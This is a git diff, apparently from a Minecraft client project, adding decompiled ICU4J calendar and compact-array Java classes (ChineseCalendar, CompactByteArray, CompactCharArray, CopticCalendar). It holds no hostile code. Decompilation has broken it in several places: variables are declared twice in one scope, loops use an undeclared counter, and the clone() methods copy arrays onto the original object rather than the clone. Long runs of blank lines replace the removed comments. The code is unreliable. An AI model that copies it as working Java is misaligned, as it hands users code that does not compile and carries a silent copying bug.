+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ChineseCalendar(int era, int year, int month, int isLeapMonth, int date, int hour, int minute, int second)
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT), 62900, CHINA_ZONE);
+    
+
+    set(14, 0);
+    
+
+    set(0, era);
+    set(1, year);
+    set(2, month);
+    set(22, isLeapMonth);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+    set(13, second);
+  }
+  
+
+
+
+
+
+  public ChineseCalendar(Locale aLocale)
+  {
+    this(TimeZone.getDefault(), ULocale.forLocale(aLocale), 62900, CHINA_ZONE);
+  }
+  
+
+
+
+
+
+
+  public ChineseCalendar(TimeZone zone)
+  {
+    this(zone, ULocale.getDefault(ULocale.Category.FORMAT), 62900, CHINA_ZONE);
+  }
+  
+
+
+
+
+
+
+  public ChineseCalendar(TimeZone zone, Locale aLocale)
+  {
+    this(zone, ULocale.forLocale(aLocale), 62900, CHINA_ZONE);
+  }
+  
+
+
+
+
+
+
+  public ChineseCalendar(ULocale locale)
+  {
+    this(TimeZone.getDefault(), locale, 62900, CHINA_ZONE);
+  }
+  
+
+
+
+
+
+
+  public ChineseCalendar(TimeZone zone, ULocale locale)
+  {
+    this(zone, locale, 62900, CHINA_ZONE);
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  protected ChineseCalendar(TimeZone zone, ULocale locale, int epochYear, TimeZone zoneAstroCalc)
+  {
+    super(zone, locale);
+    this.epochYear = epochYear;
+    zoneAstro = zoneAstroCalc;
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[][] LIMITS = { { 1, 1, 83333, 83333 }, { 1, 1, 60, 60 }, { 0, 0, 11, 11 }, { 1, 1, 50, 55 }, new int[0], { 1, 1, 29, 30 }, { 1, 1, 353, 385 }, new int[0], { -1, -1, 5, 5 }, new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], new int[0], { 0, 0, 1, 1 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int handleGetLimit(int field, int limitType)
+  {
+    return LIMITS[field][limitType];
+  }
+  
+
+
+  protected int handleGetExtendedYear()
+  {
+    int year;
+    
+
+    int year;
+    
+    if (newestStamp(0, 1, 0) <= getStamp(19)) {
+      year = internalGet(19, 1);
+    } else {
+      int cycle = internalGet(0, 1) - 1;
+      
+      year = cycle * 60 + internalGet(1, 1) - (epochYear - 62900);
+    }
+    return year;
+  }
+  
+
+
+
+
+
+
+
+  protected int handleGetMonthLength(int extendedYear, int month)
+  {
+    int thisStart = handleComputeMonthStart(extendedYear, month, true) - 2440588 + 1;
+    
+    int nextStart = newMoonNear(thisStart + 25, true);
+    return nextStart - thisStart;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected DateFormat handleGetDateFormat(String pattern, String override, ULocale locale)
+  {
+    return super.handleGetDateFormat(pattern, override, locale);
+  }
+  
+
+
+
+  static final int[][][] CHINESE_DATE_PRECEDENCE = { { { 5 }, { 3, 7 }, { 4, 7 }, { 8, 7 }, { 3, 18 }, { 4, 18 }, { 8, 18 }, { 6 }, { 37, 22 } }, { { 3 }, { 4 }, { 8 }, { 40, 7 }, { 40, 18 } } };
+  
+
+
+
+
+
+
+
+
+
+
+  private static final int CHINESE_EPOCH_YEAR = -2636;
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected int[][][] getFieldResolutionTable()
+  {
+    return CHINESE_DATE_PRECEDENCE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private void offsetMonth(int newMoon, int dom, int delta)
+  {
+    newMoon += (int)(29.530588853D * (delta - 0.5D));
+    
+
+    newMoon = newMoonNear(newMoon, true);
+    
+
+    int jd = newMoon + 2440588 - 1 + dom;
+    
+
+
+    if (dom > 29) {
+      set(20, jd - 1);
+      
+
+
+
+      complete();
+      if (getActualMaximum(5) >= dom) {
+        set(20, jd);
+      }
+    } else {
+      set(20, jd);
+    }
+  }
+  
+
+
+
+  public void add(int field, int amount)
+  {
+    switch (field) {
+    case 2: 
+      if (amount != 0) {
+        int dom = get(5);
+        int day = get(20) - 2440588;
+        int moon = day - dom + 1;
+        offsetMonth(moon, dom, amount); }
+      break;
+    
+    default: 
+      super.add(field, amount);
+    }
+    
+  }
+  
+
+
+
+  public void roll(int field, int amount)
+  {
+    switch (field) {
+    case 2: 
+      if (amount != 0) {
+        int dom = get(5);
+        int day = get(20) - 2440588;
+        int moon = day - dom + 1;
+        
+
+
+
+
+
+
+        int m = get(2);
+        if (isLeapYear) {
+          if (get(22) == 1) {
+            m++;
+
+
+
+          }
+          else
+          {
+
+
+            int moon1 = moon - (int)(29.530588853D * (m - 0.5D));
+            
+            moon1 = newMoonNear(moon1, true);
+            if (isLeapMonthBetween(moon1, moon)) {
+              m++;
+            }
+          }
+        }
+        
+
+
+        int n = isLeapYear ? 13 : 12;
+        int newM = (m + amount) % n;
+        if (newM < 0) {
+          newM += n;
+        }
+        
+        if (newM != m)
+          offsetMonth(moon, dom, newM - m);
+      }
+      break;
+    
+    default: 
+      super.roll(field, amount);
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final TimeZone CHINA_ZONE = new SimpleTimeZone(28800000, "CHINA_ZONE").freeze();
+  
+
+
+
+
+
+
+
+
+  private static final int SYNODIC_GAP = 25;
+  
+
+
+
+
+
+
+
+
+  private final long daysToMillis(int days)
+  {
+    long millis = days * 86400000L;
+    return millis - zoneAstro.getOffset(millis);
+  }
+  
+
+
+
+
+  private final int millisToDays(long millis)
+  {
+    return (int)floorDivide(millis + zoneAstro.getOffset(millis), 86400000L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private int winterSolstice(int gyear)
+  {
+    long cacheValue = winterSolsticeCache.get(gyear);
+    
+    if (cacheValue == CalendarCache.EMPTY)
+    {
+
+
+
+      long ms = daysToMillis(computeGregorianMonthStart(gyear, 11) + 1 - 2440588);
+      
+      astro.setTime(ms);
+      
+
+      long solarLong = astro.getSunTime(CalendarAstronomer.WINTER_SOLSTICE, true);
+      
+      cacheValue = millisToDays(solarLong);
+      winterSolsticeCache.put(gyear, cacheValue);
+    }
+    return (int)cacheValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private int newMoonNear(int days, boolean after)
+  {
+    astro.setTime(daysToMillis(days));
+    long newMoon = astro.getMoonTime(CalendarAstronomer.NEW_MOON, after);
+    
+    return millisToDays(newMoon);
+  }
+  
+
+
+
+
+
+
+  private int synodicMonthsBetween(int day1, int day2)
+  {
+    return (int)Math.round((day2 - day1) / 29.530588853D);
+  }
+  
+
+
+
+
+
+
+  private int majorSolarTerm(int days)
+  {
+    astro.setTime(daysToMillis(days));
+    
+
+    int term = ((int)Math.floor(6.0D * astro.getSunLongitude() / 3.141592653589793D) + 2) % 12;
+    if (term < 1) {
+      term += 12;
+    }
+    return term;
+  }
+  
+
+
+
+
+
+  private boolean hasNoMajorSolarTerm(int newMoon)
+  {
+    int mst = majorSolarTerm(newMoon);
+    int nmn = newMoonNear(newMoon + 25, true);
+    int mstt = majorSolarTerm(nmn);
+    return mst == mstt;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean isLeapMonthBetween(int newMoon1, int newMoon2)
+  {
+    if (synodicMonthsBetween(newMoon1, newMoon2) >= 50) {
+      throw new IllegalArgumentException("isLeapMonthBetween(" + newMoon1 + ", " + newMoon2 + "): Invalid parameters");
+    }
+    
+
+
+    return (newMoon2 >= newMoon1) && ((isLeapMonthBetween(newMoon1, newMoonNear(newMoon2 - 25, false))) || (hasNoMajorSolarTerm(newMoon2)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void handleComputeFields(int julianDay)
+  {
+    computeChineseFields(julianDay - 2440588, getGregorianYear(), getGregorianMonth(), true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void computeChineseFields(int days, int gyear, int gmonth, boolean setAllFields)
+  {
+    int solsticeAfter = winterSolstice(gyear);
+    int solsticeBefore; int solsticeBefore; if (days < solsticeAfter) {
+      solsticeBefore = winterSolstice(gyear - 1);
+    } else {
+      solsticeBefore = solsticeAfter;
+      solsticeAfter = winterSolstice(gyear + 1);
+    }
+    
+
+
+
+    int firstMoon = newMoonNear(solsticeBefore + 1, true);
+    int lastMoon = newMoonNear(solsticeAfter + 1, false);
+    int thisMoon = newMoonNear(days + 1, false);
+    
+    isLeapYear = (synodicMonthsBetween(firstMoon, lastMoon) == 12);
+    
+    int month = synodicMonthsBetween(firstMoon, thisMoon);
+    if ((isLeapYear) && (isLeapMonthBetween(firstMoon, thisMoon))) {
+      month--;
+    }
+    if (month < 1) {
+      month += 12;
+    }
+    
+    boolean isLeapMonth = (isLeapYear) && (hasNoMajorSolarTerm(thisMoon)) && (!isLeapMonthBetween(firstMoon, newMoonNear(thisMoon - 25, false)));
+    
+
+
+    internalSet(2, month - 1);
+    internalSet(22, isLeapMonth ? 1 : 0);
+    
+    if (setAllFields)
+    {
+
+      int extended_year = gyear - epochYear;
+      int cycle_year = gyear - 62900;
+      if ((month < 11) || (gmonth >= 6))
+      {
+        extended_year++;
+        cycle_year++;
+      }
+      int dayOfMonth = days - thisMoon + 1;
+      
+      internalSet(19, extended_year);
+      
+
+      int[] yearOfCycle = new int[1];
+      int cycle = floorDivide(cycle_year - 1, 60, yearOfCycle);
+      internalSet(0, cycle + 1);
+      internalSet(1, yearOfCycle[0] + 1);
+      
+      internalSet(5, dayOfMonth);
+      
+
+
+
+
+      int newYear = newYear(gyear);
+      if (days < newYear) {
+        newYear = newYear(gyear - 1);
+      }
+      internalSet(6, days - newYear + 1);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private int newYear(int gyear)
+  {
+    long cacheValue = newYearCache.get(gyear);
+    
+    if (cacheValue == CalendarCache.EMPTY)
+    {
+      int solsticeBefore = winterSolstice(gyear - 1);
+      int solsticeAfter = winterSolstice(gyear);
+      int newMoon1 = newMoonNear(solsticeBefore + 1, true);
+      int newMoon2 = newMoonNear(newMoon1 + 25, true);
+      int newMoon11 = newMoonNear(solsticeAfter + 1, false);
+      
+      if ((synodicMonthsBetween(newMoon1, newMoon11) == 12) && ((hasNoMajorSolarTerm(newMoon1)) || (hasNoMajorSolarTerm(newMoon2))))
+      {
+        cacheValue = newMoonNear(newMoon2 + 25, true);
+      } else {
+        cacheValue = newMoon2;
+      }
+      
+      newYearCache.put(gyear, cacheValue);
+    }
+    return (int)cacheValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int handleComputeMonthStart(int eyear, int month, boolean useMonth)
+  {
+    if ((month < 0) || (month > 11)) {
+      int[] rem = new int[1];
+      eyear += floorDivide(month, 12, rem);
+      month = rem[0];
+    }
+    
+    int gyear = eyear + epochYear - 1;
+    int newYear = newYear(gyear);
+    int newMoon = newMoonNear(newYear + month * 29, true);
+    
+    int julianDay = newMoon + 2440588;
+    
+
+    int saveMonth = internalGet(2);
+    int saveIsLeapMonth = internalGet(22);
+    
+
+    int isLeapMonth = useMonth ? saveIsLeapMonth : 0;
+    
+    computeGregorianFields(julianDay);
+    
+
+    computeChineseFields(newMoon, getGregorianYear(), getGregorianMonth(), false);
+    
+
+    if ((month != internalGet(2)) || (isLeapMonth != internalGet(22)))
+    {
+      newMoon = newMoonNear(newMoon + 25, true);
+      julianDay = newMoon + 2440588;
+    }
+    
+    internalSet(2, saveMonth);
+    internalSet(22, saveIsLeapMonth);
+    
+    return julianDay - 1;
+  }
+  
+
+
+
+  public String getType()
+  {
+    return "chinese";
+  }
+  
+
+
+
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    epochYear = 62900;
+    zoneAstro = CHINA_ZONE;
+    
+    stream.defaultReadObject();
+    
+
+    astro = new CalendarAstronomer();
+    winterSolsticeCache = new CalendarCache();
+    newYearCache = new CalendarCache();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/CompactByteArray.java b/src/minecraft/com/ibm/icu/util/CompactByteArray.java
new file mode 100644
index 0000000..007f1c0
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CompactByteArray.java
@@ -0,0 +1,414 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Utility;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public final class CompactByteArray
+  implements Cloneable
+{
+  /**
+   * @deprecated
+   */
+  public static final int UNICODECOUNT = 65536;
+  private static final int BLOCKSHIFT = 7;
+  private static final int BLOCKCOUNT = 128;
+  private static final int INDEXSHIFT = 9;
+  private static final int INDEXCOUNT = 512;
+  private static final int BLOCKMASK = 127;
+  private byte[] values;
+  private char[] indices;
+  private int[] hashes;
+  private boolean isCompact;
+  byte defaultValue;
+  
+  /**
+   * @deprecated
+   */
+  public CompactByteArray()
+  {
+    this((byte)0);
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public CompactByteArray(byte defaultValue)
+  {
+    values = new byte[65536];
+    indices = new char['Ȁ'];
+    hashes = new int['Ȁ'];
+    for (int i = 0; i < 65536; i++) {
+      values[i] = defaultValue;
+    }
+    for (i = 0; i < 512; i++) {
+      indices[i] = ((char)(i << 7));
+      hashes[i] = 0;
+    }
+    isCompact = false;
+    
+    this.defaultValue = defaultValue;
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public CompactByteArray(char[] indexArray, byte[] newValues)
+  {
+    if (indexArray.length != 512)
+      throw new IllegalArgumentException("Index out of bounds.");
+    for (int i = 0; i < 512; i++) {
+      char index = indexArray[i];
+      if ((index < 0) || (index >= newValues.length + 128))
+        throw new IllegalArgumentException("Index out of bounds.");
+    }
+    indices = indexArray;
+    values = newValues;
+    isCompact = true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public CompactByteArray(String indexArray, String valueArray)
+  {
+    this(Utility.RLEStringToCharArray(indexArray), Utility.RLEStringToByteArray(valueArray));
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public byte elementAt(char index)
+  {
+    return values[((indices[(index >> '\007')] & 0xFFFF) + (index & 0x7F))];
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public void setElementAt(char index, byte value)
+  {
+    if (isCompact)
+      expand();
+    values[index] = value;
+    touchBlock(index >> '\007', value);
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public void setElementAt(char start, char end, byte value)
+  {
+    if (isCompact) {
+      expand();
+    }
+    for (int i = start; i <= end; i++) {
+      values[i] = value;
+      touchBlock(i >> 7, value);
+    }
+  }
+  
+  /**
+   * @deprecated
+   */
+  public void compact()
+  {
+    compact(false);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public void compact(boolean exhaustive)
+  {
+    if (!isCompact) {
+      int limitCompacted = 0;
+      int iBlockStart = 0;
+      char iUntouched = 65535;
+      
+      for (int i = 0; i < indices.length; iBlockStart += 128) {
+        indices[i] = 65535;
+        boolean touched = blockTouched(i);
+        if ((!touched) && (iUntouched != 65535))
+        {
+
+
+          indices[i] = iUntouched;
+        } else {
+          int jBlockStart = 0;
+          int j = 0;
+          for (j = 0; j < limitCompacted; 
+              jBlockStart += 128) {
+            if ((hashes[i] == hashes[j]) && (arrayRegionMatches(values, iBlockStart, values, jBlockStart, 128)))
+            {
+
+              indices[i] = ((char)jBlockStart);
+              break;
+            }
+            j++;
+          }
+          
+
+
+
+
+
+          if (indices[i] == 65535)
+          {
+            System.arraycopy(values, iBlockStart, values, jBlockStart, 128);
+            
+            indices[i] = ((char)jBlockStart);
+            hashes[j] = hashes[i];
+            limitCompacted++;
+            
+            if (!touched)
+            {
+
+              iUntouched = (char)jBlockStart;
+            }
+          }
+        }
+        i++;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      int newSize = limitCompacted * 128;
+      byte[] result = new byte[newSize];
+      System.arraycopy(values, 0, result, 0, newSize);
+      values = result;
+      isCompact = true;
+      hashes = null;
+    }
+  }
+  
+
+
+
+
+
+
+
+  static final boolean arrayRegionMatches(byte[] source, int sourceStart, byte[] target, int targetStart, int len)
+  {
+    int sourceEnd = sourceStart + len;
+    int delta = targetStart - sourceStart;
+    for (int i = sourceStart; i < sourceEnd; i++) {
+      if (source[i] != target[(i + delta)])
+        return false;
+    }
+    return true;
+  }
+  
+
+
+
+  private final void touchBlock(int i, int value)
+  {
+    hashes[i] = (hashes[i] + (value << 1) | 0x1);
+  }
+  
+
+
+
+  private final boolean blockTouched(int i)
+  {
+    return hashes[i] != 0;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public char[] getIndexArray()
+  {
+    return indices;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public byte[] getValueArray()
+  {
+    return values;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public Object clone()
+  {
+    try
+    {
+      CompactByteArray other = (CompactByteArray)super.clone();
+      values = ((byte[])values.clone());
+      indices = ((char[])indices.clone());
+      if (hashes != null) hashes = ((int[])hashes.clone());
+      return other;
+    } catch (CloneNotSupportedException e) {
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public boolean equals(Object obj)
+  {
+    if (obj == null) return false;
+    if (this == obj)
+      return true;
+    if (getClass() != obj.getClass())
+      return false;
+    CompactByteArray other = (CompactByteArray)obj;
+    for (int i = 0; i < 65536; i++)
+    {
+      if (elementAt((char)i) != other.elementAt((char)i))
+        return false;
+    }
+    return true;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public int hashCode()
+  {
+    int result = 0;
+    int increment = Math.min(3, values.length / 16);
+    for (int i = 0; i < values.length; i += increment) {
+      result = result * 37 + values[i];
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  private void expand()
+  {
+    if (isCompact)
+    {
+      hashes = new int['Ȁ'];
+      byte[] tempArray = new byte[65536];
+      for (int i = 0; i < 65536; i++) {
+        byte value = elementAt((char)i);
+        tempArray[i] = value;
+        touchBlock(i >> 7, value);
+      }
+      for (i = 0; i < 512; i++) {
+        indices[i] = ((char)(i << 7));
+      }
+      values = null;
+      values = tempArray;
+      isCompact = false;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/CompactCharArray.java b/src/minecraft/com/ibm/icu/util/CompactCharArray.java
new file mode 100644
index 0000000..35fee6e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CompactCharArray.java
@@ -0,0 +1,444 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Utility;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public final class CompactCharArray
+  implements Cloneable
+{
+  /**
+   * @deprecated
+   */
+  public static final int UNICODECOUNT = 65536;
+  /**
+   * @deprecated
+   */
+  public static final int BLOCKSHIFT = 5;
+  static final int BLOCKCOUNT = 32;
+  static final int INDEXSHIFT = 11;
+  static final int INDEXCOUNT = 2048;
+  static final int BLOCKMASK = 31;
+  private char[] values;
+  private char[] indices;
+  private int[] hashes;
+  private boolean isCompact;
+  char defaultValue;
+  
+  /**
+   * @deprecated
+   */
+  public CompactCharArray()
+  {
+    this('\000');
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public CompactCharArray(char defaultValue)
+  {
+    values = new char[65536];
+    indices = new char['ࠀ'];
+    hashes = new int['ࠀ'];
+    for (int i = 0; i < 65536; i++) {
+      values[i] = defaultValue;
+    }
+    for (i = 0; i < 2048; i++) {
+      indices[i] = ((char)(i << 5));
+      hashes[i] = 0;
+    }
+    isCompact = false;
+    
+    this.defaultValue = defaultValue;
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public CompactCharArray(char[] indexArray, char[] newValues)
+  {
+    if (indexArray.length != 2048)
+      throw new IllegalArgumentException("Index out of bounds.");
+    for (int i = 0; i < 2048; i++) {
+      char index = indexArray[i];
+      if ((index < 0) || (index >= newValues.length + 32))
+        throw new IllegalArgumentException("Index out of bounds.");
+    }
+    indices = indexArray;
+    values = newValues;
+    isCompact = true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public CompactCharArray(String indexArray, String valueArray)
+  {
+    this(Utility.RLEStringToCharArray(indexArray), Utility.RLEStringToCharArray(valueArray));
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public char elementAt(char index)
+  {
+    int ix = (indices[(index >> '\005')] & 0xFFFF) + (index & 0x1F);
+    
+    return ix >= values.length ? defaultValue : values[ix];
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public void setElementAt(char index, char value)
+  {
+    if (isCompact)
+      expand();
+    values[index] = value;
+    touchBlock(index >> '\005', value);
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public void setElementAt(char start, char end, char value)
+  {
+    if (isCompact) {
+      expand();
+    }
+    for (int i = start; i <= end; i++) {
+      values[i] = value;
+      touchBlock(i >> 5, value);
+    }
+  }
+  
+  /**
+   * @deprecated
+   */
+  public void compact()
+  {
+    compact(true);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public void compact(boolean exhaustive)
+  {
+    if (!isCompact) {
+      int iBlockStart = 0;
+      char iUntouched = 65535;
+      int newSize = 0;
+      
+      char[] target = exhaustive ? new char[65536] : values;
+      
+      for (int i = 0; i < indices.length; iBlockStart += 32) {
+        indices[i] = 65535;
+        boolean touched = blockTouched(i);
+        if ((!touched) && (iUntouched != 65535))
+        {
+
+
+          indices[i] = iUntouched;
+        } else {
+          int jBlockStart = 0;
+          
+          for (int j = 0; j < i; jBlockStart += 32) {
+            if ((hashes[i] == hashes[j]) && (arrayRegionMatches(values, iBlockStart, values, jBlockStart, 32)))
+            {
+
+              indices[i] = indices[j];
+            }
+            j++;
+          }
+          
+
+
+
+
+          if (indices[i] == 65535) { int dest;
+            int dest;
+            if (exhaustive)
+            {
+              dest = FindOverlappingPosition(iBlockStart, target, newSize);
+            }
+            else
+            {
+              dest = newSize;
+            }
+            int limit = dest + 32;
+            if (limit > newSize) {
+              for (int j = newSize; j < limit; j++) {
+                target[j] = values[(iBlockStart + j - dest)];
+              }
+              newSize = limit;
+            }
+            indices[i] = ((char)dest);
+            if (!touched)
+            {
+
+              iUntouched = (char)jBlockStart;
+            }
+          }
+        }
+        i++;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      char[] result = new char[newSize];
+      System.arraycopy(target, 0, result, 0, newSize);
+      values = result;
+      isCompact = true;
+      hashes = null;
+    }
+  }
+  
+  private int FindOverlappingPosition(int start, char[] tempValues, int tempCount)
+  {
+    for (int i = 0; i < tempCount; i++) {
+      int currentCount = 32;
+      if (i + 32 > tempCount) {
+        currentCount = tempCount - i;
+      }
+      if (arrayRegionMatches(values, start, tempValues, i, currentCount))
+        return i;
+    }
+    return tempCount;
+  }
+  
+
+
+
+
+
+
+
+  static final boolean arrayRegionMatches(char[] source, int sourceStart, char[] target, int targetStart, int len)
+  {
+    int sourceEnd = sourceStart + len;
+    int delta = targetStart - sourceStart;
+    for (int i = sourceStart; i < sourceEnd; i++) {
+      if (source[i] != target[(i + delta)])
+        return false;
+    }
+    return true;
+  }
+  
+
+
+
+  private final void touchBlock(int i, int value)
+  {
+    hashes[i] = (hashes[i] + (value << 1) | 0x1);
+  }
+  
+
+
+
+  private final boolean blockTouched(int i)
+  {
+    return hashes[i] != 0;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public char[] getIndexArray()
+  {
+    return indices;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public char[] getValueArray()
+  {
+    return values;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public Object clone()
+  {
+    try
+    {
+      CompactCharArray other = (CompactCharArray)super.clone();
+      values = ((char[])values.clone());
+      indices = ((char[])indices.clone());
+      if (hashes != null) hashes = ((int[])hashes.clone());
+      return other;
+    } catch (CloneNotSupportedException e) {
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public boolean equals(Object obj)
+  {
+    if (obj == null) return false;
+    if (this == obj)
+      return true;
+    if (getClass() != obj.getClass())
+      return false;
+    CompactCharArray other = (CompactCharArray)obj;
+    for (int i = 0; i < 65536; i++)
+    {
+      if (elementAt((char)i) != other.elementAt((char)i))
+        return false;
+    }
+    return true;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public int hashCode()
+  {
+    int result = 0;
+    int increment = Math.min(3, values.length / 16);
+    for (int i = 0; i < values.length; i += increment) {
+      result = result * 37 + values[i];
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void expand()
+  {
+    if (isCompact)
+    {
+      hashes = new int['ࠀ'];
+      char[] tempArray = new char[65536];
+      for (int i = 0; i < 65536; i++) {
+        tempArray[i] = elementAt((char)i);
+      }
+      for (i = 0; i < 2048; i++) {
+        indices[i] = ((char)(i << 5));
+      }
+      values = null;
+      values = tempArray;
+      isCompact = false;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/CopticCalendar.java b/src/minecraft/com/ibm/icu/util/CopticCalendar.java
new file mode 100644
index 0000000..e033039
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CopticCalendar.java
@@ -0,0 +1,320 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CopticCalendar
+  extends CECalendar
+{
+  private static final long serialVersionUID = 5903818751846742911L;
+  public static final int TOUT = 0;
+  public static final int BABA = 1;
+  public static final int HATOR = 2;
+  public static final int KIAHK = 3;
+  public static final int TOBA = 4;
+  public static final int AMSHIR = 5;
+  public static final int BARAMHAT = 6;
+  public static final int BARAMOUDA = 7;
+  public static final int BASHANS = 8;
+  public static final int PAONA = 9;
+  public static final int EPEP = 10;
+  public static final int MESRA = 11;
+  public static final int NASIE = 12;
+  private static final int JD_EPOCH_OFFSET = 1824665;
+  private static final int BCE = 0;
+  private static final int CE = 1;
+  
+  public CopticCalendar() {}
+  
+  public CopticCalendar(TimeZone zone)
+  {
+    super(zone);
+  }
+  
+
+
+
+
+
+
+  public CopticCalendar(Locale aLocale)
+  {
+    super(aLocale);
+  }
+  
+
+
+
+
+
+
+  public CopticCalendar(ULocale locale)
+  {
+    super(locale);
+  }
+  
+
+
+
+
+
+
+
+  public CopticCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+  }
+  
+
+
+
+
+
+
+
+  public CopticCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public CopticCalendar(int year, int month, int date)
+  {
+    super(year, month, date);
+  }
+  
+
+
+
+
+
+
+  public CopticCalendar(Date date)
+  {
+    super(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CopticCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(year, month, date, hour, minute, second);
+  }
+  
+
+
+
+  public String getType()
+  {
+    return "coptic";
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected int handleGetExtendedYear()
+  {
+    int eyear;
+    int eyear;
+    if (newerField(19, 1) == 19) {
+      eyear = internalGet(19, 1);
+    }
+    else {
+      int era = internalGet(0, 1);
+      int eyear; if (era == 0) {
+        eyear = 1 - internalGet(1, 1);
+      } else {
+        eyear = internalGet(1, 1);
+      }
+    }
+    return eyear;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected void handleComputeFields(int julianDay)
+  {
+    int[] fields = new int[3];
+    jdToCE(julianDay, getJDEpochOffset(), fields);
+    
+    int year;
+    
+    int era;
+    int year;
+    if (fields[0] <= 0) {
+      int era = 0;
+      year = 1 - fields[0];
+    } else {
+      era = 1;
+      year = fields[0];
+    }
+    
+    internalSet(19, fields[0]);
+    internalSet(0, era);
+    internalSet(1, year);
+    internalSet(2, fields[1]);
+    internalSet(5, fields[2]);
+    internalSet(6, 30 * fields[1] + fields[2]);
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int getJDEpochOffset()
+  {
+    return 1824665;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int copticToJD(long year, int month, int date)
+  {
+    return ceToJD(year, month, date, 1824665);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/Currency.java b/src/minecraft/com/ibm/icu/util/Currency.java
new file mode 100644
